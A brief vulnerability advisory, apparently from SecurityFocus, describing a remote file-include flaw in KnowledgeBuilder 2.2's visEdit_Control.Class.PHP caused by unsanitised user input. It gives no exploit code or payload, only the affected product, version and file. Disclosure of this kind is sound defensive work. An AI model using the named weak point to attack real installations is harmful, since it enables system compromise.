KnowledgeBuilder 2.2 visEdit_Control.Class.PHP Remote File Include Vulnerability

                                                source: http://www.securityfocus.com/bid/20857/info

KnowledgeBuilder is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.2 is vulnerable to this issue; other versions may also be affected.
